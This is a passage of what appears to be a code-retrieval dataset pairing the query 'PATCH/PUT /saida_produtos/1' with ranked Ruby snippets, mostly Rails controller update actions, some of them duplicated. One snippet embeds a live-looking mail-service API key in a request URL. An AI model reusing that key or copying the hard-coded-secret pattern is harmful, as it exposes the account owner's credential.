|instance|\n self.release(instance)\n end\n\n nil\n end", "title": "" }, { "docid": "3205a6597da9460ca72537f2102daf62", "score": "0.46125492", "text": "def add(a_dispatch)\n @dispatchers << a_dispatch\n end", "title": "" }, { "docid": "2f3b31df8763cdefd1b1142f8474725b", "score": "0.46104303", "text": "def flush\n while !@queue.empty? || @worker.is_requesting?\n ensure_worker_running\n sleep(0.1)\n end\n end", "title": "" }, { "docid": "2f3b31df8763cdefd1b1142f8474725b", "score": "0.46104303", "text": "def flush\n while !@queue.empty? || @worker.is_requesting?\n ensure_worker_running\n sleep(0.1)\n end\n end", "title": "" }, { "docid": "2f3b31df8763cdefd1b1142f8474725b", "score": "0.46104303", "text": "def flush\n while !@queue.empty? || @worker.is_requesting?\n ensure_worker_running\n sleep(0.1)\n end\n end", "title": "" }, { "docid": "2f3b31df8763cdefd1b1142f8474725b", "score": "0.46104303", "text": "def flush\n while !@queue.empty? || @worker.is_requesting?\n ensure_worker_running\n sleep(0.1)\n end\n end", "title": "" }, { "docid": "0357ba8447841ec93e34ff18ee0bf3cf", "score": "0.4608988", "text": "def tick_handler\n\n # This code will implement the ticker every second. This tells the\n # requestors that the worker is alive\n current_time = Time.now.to_i\n if current_time > @last_tick\n self.dispatcher.increment_ticker\n @last_tick = current_time\n end\n\n # Loop until the queue is empty\n until self.descriptor_queue.empty? do\n\n # Pop the value and process it\n descriptor = self.descriptor_queue.pop\n self.dispatcher.process(descriptor)\n\n end\n end", "title": "" }, { "docid": "d7735a09010d5bc6263ac0c93f99fdf7", "score": "0.46018982", "text": "def supports_concurrent_refreshes?; false; end", "title": "" }, { "docid": "8e475f07f4fd317d26c6707f4923f7c6", "score": "0.4600466", "text": "def acquire(thread, server)\n if server.is_a?(Hash)\n sync{@allocated[thread] ||= {}}[server] = make_new(server)\n else\n super\n end\n end", "title": "" }, { "docid": "2fff5953344fdb20a3d8c656de166b5c", "score": "0.45994946", "text": "def __queue__; end", "title": "" }, { "docid": "f6e956689676f991c20eefac972a12f9", "score": "0.45947692", "text": "def global_lock; end", "title": "" }, { "docid": "f6e956689676f991c20eefac972a12f9", "score": "0.45947692", "text": "def global_lock; end", "title": "" }, { "docid": "ba57a05b92801c943648118c9da0100a", "score": "0.4591787", "text": "def queueing\n\t\told_processing = local_server.processing?\n\n\t\tlocal_server.processing = false\n\t\tyield\n\n\t ensure\n\t\tlocal_server.processing = old_processing\n\t end", "title": "" }, { "docid": "7cd8a65bed10a3f8219bed9c4d47e0b8", "score": "0.45905358", "text": "def run_once(&action)\n if @populator\n clear!\n schedule(@populator.call)\n end\n\n collection = next_ready\n collection.clock(&action) if collection\n collection\n end", "title": "" }, { "docid": "cddc457a7911ae96c8b218a9c43e7e17", "score": "0.458937", "text": "def force_reload_reader\n klass.uncached { reload }\n target\n end", "title": "" }, { "docid": "cddc457a7911ae96c8b218a9c43e7e17", "score": "0.458937", "text": "def force_reload_reader\n klass.uncached { reload }\n target\n end", "title": "" }, { "docid": "7397cfa09ba1b98b98601beafc3993a6", "score": "0.45794097", "text": "def full_run!\n run! until empty_queues?\n end", "title": "" }, { "docid": "543a78c4ca51d61317b01e4adc2e0981", "score": "0.45787916", "text": "def initialize( resolution )\n\t\t@resolution = resolution\n\t\t@queue = []\n\n\t\t@thread = Thread.new do\n\t\t\tloop do\n\t\t\t\tdispatch\n\t\t\t\tsleep @resolution\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "392b7638554f22725aa7d8d83f075440", "score": "0.45718724", "text": "def acquire; end", "title": "" }, { "docid": "25ad7dc4d09b30f8885db786fd53b08d", "score": "0.45708638", "text": "def populate_with\n return @value if full?\n\n synchronize do\n perform_put(yield) if empty?\n end\n\n @value\n end", "title": "" } ]
961eb561bb0b9a0b6045929deda68504
PATCH/PUT /saida_produtos/1 PATCH/PUT /saida_produtos/1.json
[ { "docid": "14a19c3d36b7e31830328dfce1520126", "score": "0.68906885", "text": "def update\n respond_to do |format|\n if @saida_produto.update(saida_produto_params)\n format.html { redirect_to @saida_produto, notice: 'Saida produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @saida_produto }\n else\n format.html { render :edit }\n format.json { render json: @saida_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "151292d354993a2111b760424f3d593e", "score": "0.7075528", "text": "def update\n @produto.update(produto_params)\n respond_with @produto\n end", "title": "" }, { "docid": "2e966c4354b9690288d8d49c23316f45", "score": "0.7003695", "text": "def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "title": "" }, { "docid": "c8acfef0bdf693fcc52848b555f4845b", "score": "0.68860024", "text": "def update\n @produto = Produto.find(params[:id])\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.update_attributes(params[:produto])\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "506407d48445ac7f067778c8ecb0db65", "score": "0.68373287", "text": "def update\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n if @producto.update_attributes(params[:producto])\n format.html { redirect_to @producto, notice: 'Producto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ff2514517ec976e4f2386cd6035ff1d", "score": "0.6802079", "text": "def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "84f2d68dc84d9c8be9bb908304afea8f", "score": "0.6766668", "text": "def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b81179dd72e7836050f63bb29e26d40d", "score": "0.67606986", "text": "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ffddb9baefb799ee2eaaa6fb4c37f4b3", "score": "0.67415166", "text": "def update\n respond_to do |format|\n if @troca_produto.update(troca_produto_params)\n format.html { redirect_to @troca_produto, notice: \"Troca produto was successfully updated.\" }\n format.json { render :show, status: :ok, location: @troca_produto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @troca_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bcb4c3300c95876d3aceab0dc34a20d1", "score": "0.67159367", "text": "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto }\n else\n format.html { render :edit }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0eee94fd36b776c33142270afa83ed43", "score": "0.67155594", "text": "def update\n @safra_produto = SafraProduto.find(params[:id])\n\n respond_to do |format|\n if @safra_produto.update_attributes(params[:safra_produto])\n format.html { redirect_to \"/safras/#{@safra_produto.safra_id}\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2fc3fc165beefddb27d3b4c06e42538f", "score": "0.67113703", "text": "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2fc3fc165beefddb27d3b4c06e42538f", "score": "0.67113703", "text": "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2fc3fc165beefddb27d3b4c06e42538f", "score": "0.67113703", "text": "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3147e65e7dab14a114aa74e795da22a", "score": "0.6706382", "text": "def update\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n if @safra_verdoso.update_attributes(params[:safra_verdoso])\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_verdoso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "827e4982561ecf20732d998b8f0e9905", "score": "0.6691692", "text": "def update\n\n respond_to do |format|\n if @producto.update(producto_params)\n\n format.html { redirect_to \"/publicaciones/pendientes\", notice: 'Producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto }\n else\n format.html { render :edit }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b35ea1fc1a42347dc0d75bcd47386137", "score": "0.6688842", "text": "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to edit_produto_path(@produto), notice: 'Produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14ab139bc5ac4df719c89967333455ab", "score": "0.6671516", "text": "def update\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n if @producto.update_attributes(params[:producto])\n format.html { redirect_to @producto, notice: 'El producto ha sido actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b11c72751ddc6ffb5aaad4dc2cae34c", "score": "0.6658149", "text": "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to @produto, notice: t('.atualizado') }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3148241443c1645c4bf219a2c3b87694", "score": "0.6651776", "text": "def update\n respond_to do |format|\n if @quimicos_serigrafia_producto.update(quimicos_serigrafia_producto_params)\n format.html { redirect_to @quimicos_serigrafia_producto, notice: 'Quimicos serigrafia producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @quimicos_serigrafia_producto }\n else\n format.html { render :edit }\n format.json { render json: @quimicos_serigrafia_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "099be8eeeb65cd4b7740a93830ee044d", "score": "0.6649324", "text": "def update\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n if @contato_produto.update_attributes(params[:contato_produto])\n format.html { redirect_to [:admin, @contato_produto], notice: 'Contato produto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contato_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ae2e8827defdd6e0f9b65c23040339ac", "score": "0.664717", "text": "def pro_farm_update\n respond_to do |format|\n activo = params[:pro_far][:activo_produc]\n farmacia_id = session[:farmacia_id]\n id = params[:id]\n ProFar.where(producto_id: id, farmacium_id:farmacia_id).update_all(activo_produc: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "title": "" }, { "docid": "9514999ec34049df6c3290cb322e8cff", "score": "0.6642907", "text": "def update\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n if @mixproducto.update_attributes(params[:mixproducto])\n format.html { redirect_to @mixproducto, notice: 'Mixproducto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mixproducto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ffdbd972d143ff66434f350fdcc541cf", "score": "0.66377115", "text": "def update\n respond_to do |format|\n if @inventario_producto.update(inventario_producto_params)\n format.html { redirect_to @inventario_producto, notice: 'Producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_producto }\n else\n format.html { render :edit }\n format.json { render json: @inventario_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73f2eed000256d194a0c7a3b02ac3d1c", "score": "0.66231185", "text": "def update\n respond_to do |format|\n if @tinta_sublimacion_producto.update(tinta_sublimacion_producto_params)\n format.html { redirect_to @tinta_sublimacion_producto, notice: 'Tinta sublimacion producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @tinta_sublimacion_producto }\n else\n format.html { render :edit }\n format.json { render json: @tinta_sublimacion_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac777b65c790b2b4d7a2a17996776050", "score": "0.662172", "text": "def update\n respond_to do |format|\n if @producto_seccion.update(producto_seccion_params)\n format.html { redirect_to @producto_seccion, notice: 'Producto seccion was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto_seccion }\n else\n format.html { render :edit }\n format.json { render json: @producto_seccion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1dea1e3fe2651bfb44c2a8469f9eaa2a", "score": "0.66193384", "text": "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "05453ab75efdaf641ffade77138c1e7e", "score": "0.6617262", "text": "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to \"/productos\", notice: 'Producto actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @producto }\n else\n format.html { render :edit }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "68ee33c8e987ad76eaf921475f92f1b4", "score": "0.6594865", "text": "def update\n respond_to do |format|\n if @admin_produto.update(admin_produto_params)\n format.html { redirect_to @admin_produto, notice: 'Produto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31a8bb9ea8e38d085174b02b32fa9b19", "score": "0.6593331", "text": "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto modificado exitosamente..' }\n format.json { render :show, status: :ok, location: @producto }\n else\n format.html { render :edit }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98e98bb5e839c86e89b16d672895f2b5", "score": "0.6588328", "text": "def update\n respond_to do |format|\n if @relacao_produto.update(relacao_produto_params)\n format.html { redirect_to @relacao_produto, notice: 'Relacao produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @relacao_produto }\n else\n format.html { render :edit }\n format.json { render json: @relacao_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf6580c47c63a4638797e272d2107e77", "score": "0.65673244", "text": "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto actualizado correctamente.' }\n format.json { render :show, status: :ok, location: @producto }\n else\n format.html { render :edit }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95374fb72d94d568bcb1c2c918a2db33", "score": "0.65535665", "text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to servicos_url, notice: 'Serviço atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77bded7880eb73001ad21220f8b43c02", "score": "0.65495354", "text": "def update\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n if @solicitud_servicio.update_attributes(params[:solicitud_servicio])\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c537ad86b7d1586a071310575ce9e35", "score": "0.6544473", "text": "def update\n @producto = Producto.find(params[:id])\n respond_to do |format|\n if @producto.update_attributes(params[:producto])\n format.html { redirect_to @producto, notice: 'Producto actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", alert: 'Producto no pudo ser actualizado.' }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31daa4c1db3ac9f9dc7bb71025fcb640", "score": "0.6524624", "text": "def update\n respond_to do |format|\n if @estado_producto.update(estado_producto_params)\n format.html { redirect_to @estado_producto, notice: 'Estado producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @estado_producto }\n else\n format.html { render :edit }\n format.json { render json: @estado_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08545a53443a97c8b1cc4417a4bb39e0", "score": "0.65198725", "text": "def update\n respond_to do |format|\n if @prod_servi.update(prod_servi_params)\n format.html { redirect_to @prod_servi, notice: 'Prod servi was successfully updated.' }\n format.json { render :show, status: :ok, location: @prod_servi }\n else\n format.html { render :edit }\n format.json { render json: @prod_servi.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df2e8406880c08a490daa7936da0d2da", "score": "0.65178066", "text": "def update\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n if @sugerencia.update_attributes(params[:sugerencia])\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "faa11a2123018c52625fdb4679403bc9", "score": "0.65169406", "text": "def update\n respond_to do |format|\n if @prod_coti.update(prod_coti_params)\n format.html { redirect_to @prod_coti, notice: 'Prod coti was successfully updated.' }\n format.json { render :show, status: :ok, location: @prod_coti }\n else\n format.html { render :edit }\n format.json { render json: @prod_coti.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d365457fad9811f73e546b09e40700a", "score": "0.6515506", "text": "def update\n respond_to do |format|\n if @foto_produto.update(foto_produto_params)\n format.html { redirect_to @foto_produto, notice: 'Foto produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @foto_produto }\n else\n format.html { render :edit }\n format.json { render json: @foto_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "597c4d73131cac50871d4e84661e430a", "score": "0.6511299", "text": "def update\n respond_to do |format|\n if @produto_pedido.update(produto_pedido_params)\n format.html { redirect_to @produto_pedido, notice: 'Produto pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto_pedido }\n else\n format.html { render :edit }\n format.json { render json: @produto_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "597c4d73131cac50871d4e84661e430a", "score": "0.6511299", "text": "def update\n respond_to do |format|\n if @produto_pedido.update(produto_pedido_params)\n format.html { redirect_to @produto_pedido, notice: 'Produto pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto_pedido }\n else\n format.html { render :edit }\n format.json { render json: @produto_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fea5d511e320e86d4f834cc3b2a7cf3", "score": "0.65047085", "text": "def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "680ace4ad34ff19b0b4a14f18a3d79f5", "score": "0.6501817", "text": "def update\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n if @consumo.update_attributes(params[:consumo])\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "caba9fcea6c5d90f63e06781ac8427e8", "score": "0.64977086", "text": "def update\n respond_to do |format|\n if @producto_bodega.update(producto_bodega_params)\n format.html { redirect_to @producto_bodega, notice: 'Producto bodega was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto_bodega }\n else\n format.html { render :edit }\n format.json { render json: @producto_bodega.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b886f5dd08c8519a22e84a46505a930", "score": "0.6489469", "text": "def update\n @peticion_servicio_ti = Peticion::ServicioTi.find(params[:id])\n\n respond_to do |format|\n if @peticion_servicio_ti.update_attributes(params[:peticion_servicio_ti])\n format.html { redirect_to edit_peticion_servicio_ti_path(@peticion_servicio_ti), notice: 'Actualizado Correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peticion_servicio_ti.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4cd40a330cb430894f718e6702c7648", "score": "0.6489298", "text": "def update\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n if @productonegocio.update_attributes(params[:productonegocio])\n format.html { redirect_to @productonegocio, notice: 'Productonegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @productonegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efe67df765cde153f17faadd1f64da63", "score": "0.6488894", "text": "def update\n respond_to do |format|\n if @asiento_de_servicio.update(asiento_de_servicio_params)\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @asiento_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "506cd829e770195ec500ee5bc7ef3d2c", "score": "0.64744586", "text": "def update\n respond_to do |format|\n if @tb_servicio.update(tb_servicio_params)\n format.html { redirect_to @tb_servicio, notice: 'Tb servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tb_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tb_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8726866446cb7af0c964ff67de1556bf", "score": "0.64699376", "text": "def update\n @cooperativa = Cooperativa.find(params[:id])\n\n respond_to do |format|\n if @cooperativa.update_attributes(params[:cooperativa])\n format.html { redirect_to [:admin, @cooperativa], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cooperativa.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a1388ffd4b75bf578a0c61a026c9467", "score": "0.6466977", "text": "def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a38799e1c0229700f1b7abf61121b177", "score": "0.6464009", "text": "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e14c90caddf909ba9d888ea0662d66e", "score": "0.6459544", "text": "def update\n respond_to do |format|\n if @papel_sublimacion_producto.update(papel_sublimacion_producto_params)\n format.html { redirect_to @papel_sublimacion_producto, notice: 'Papel sublimacion producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @papel_sublimacion_producto }\n else\n format.html { render :edit }\n format.json { render json: @papel_sublimacion_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d799d67ac6dcab9fb497e0239d494b99", "score": "0.6458008", "text": "def update\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n if @sistema.update_attributes(params[:sistema])\n format.html { redirect_to @sistema, notice: 'Sistema was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sistema.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "069e5fb1f373fc6a339bf19e5f622f38", "score": "0.6457213", "text": "def update\n respond_to do |format|\n if @productos_por_cliente.update(productos_por_cliente_params)\n format.html { redirect_to @productos_por_cliente, notice: 'Productos por cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @productos_por_cliente }\n else\n format.html { render :edit }\n format.json { render json: @productos_por_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8eddef2b54f000da56508834e688ae33", "score": "0.64569294", "text": "def update\n @productos = Car.where(:pedidoID => params[:id])\n respond_to do |format| \n if @pedido.update(pedido_params)\n \n format.html { redirect_to \"/\", notice: 'Pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @pedido }\n RestClient.post \"https://api:key-e7d79c66e74391fdf48b657624f23ddc\"\\\n \"@api.mailgun.net/v3/sandboxb9c2dadab0ea49f6b7130d1091646c59.mailgun.org/messages\",\n :from => \"Sistema de Pedidos <mailgun@sandboxb9c2dadab0ea49f6b7130d1091646c59.mailgun.org>\",\n #:to => \"proteina@sinergroup.com.mx\",\n :to => \"proteina@sinergroup.com.mx\",\n :subject => \"Solicitud de Pedido\",\n :html => (render_to_string(template: \"../views/pedidos/email\")).to_str\n else\n format.html { render :edit }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5968ad442abaff609d3bc0007ab6c0a9", "score": "0.64549774", "text": "def update\n respond_to do |format|\n if @pedido_produto.update(pedido_produto_params)\n format.html { redirect_to pedido_pedido_produtos_path(@pedido), notice: 'Pedido produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @pedido_produto }\n else\n format.html { render :edit }\n format.json { render json: @pedido_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0447f7e6afe12d34bde491b7f52e4dc0", "score": "0.6451632", "text": "def update\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n if @tipo_pregunta.update(params[:tipo_pregunta])\n head :no_content\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "28a96743af865adb90a03fce5ef02264", "score": "0.64410365", "text": "def update\n respond_to do |format|\n if @inventario_cosa.update(inventario_cosa_params)\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_cosa }\n else\n format.html { render :edit }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d475b2aeaf6902fcccb35a5dbd51b4f8", "score": "0.6440457", "text": "def update\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n if @peso.update_attributes(params[:peso])\n format.html { redirect_to @peso, notice: 'Peso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "620d59798b698aa9acfe767955de35ee", "score": "0.64384335", "text": "def update\n respond_to do |format|\n if @registro_servicio.update(registro_servicio_params)\n format.html { redirect_to @registro_servicio, notice: 'Servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @registro_servicio }\n else\n format.html { render :edit }\n format.json { render json: @registro_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "daae097ae58e816618ec151bc9181663", "score": "0.6437327", "text": "def update\n respond_to do |format|\n if @tipo_de_servicio.update(tipo_de_servicio_params)\n format.html { redirect_to @tipo_de_servicio, notice: 'Tipo de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20e9e888a374bc8270bd74dbeedf27e3", "score": "0.64362", "text": "def update\n @plato = Plato.find(params[:id])\n\n if @plato.update(plato_params)\n head :no_content\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ee3a63b8c0fed949e84567631cb44776", "score": "0.64346504", "text": "def update\n respond_to do |format|\n if @objeto.update(carpeta_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Carpeta was successfully updated.' }\n format.json { render 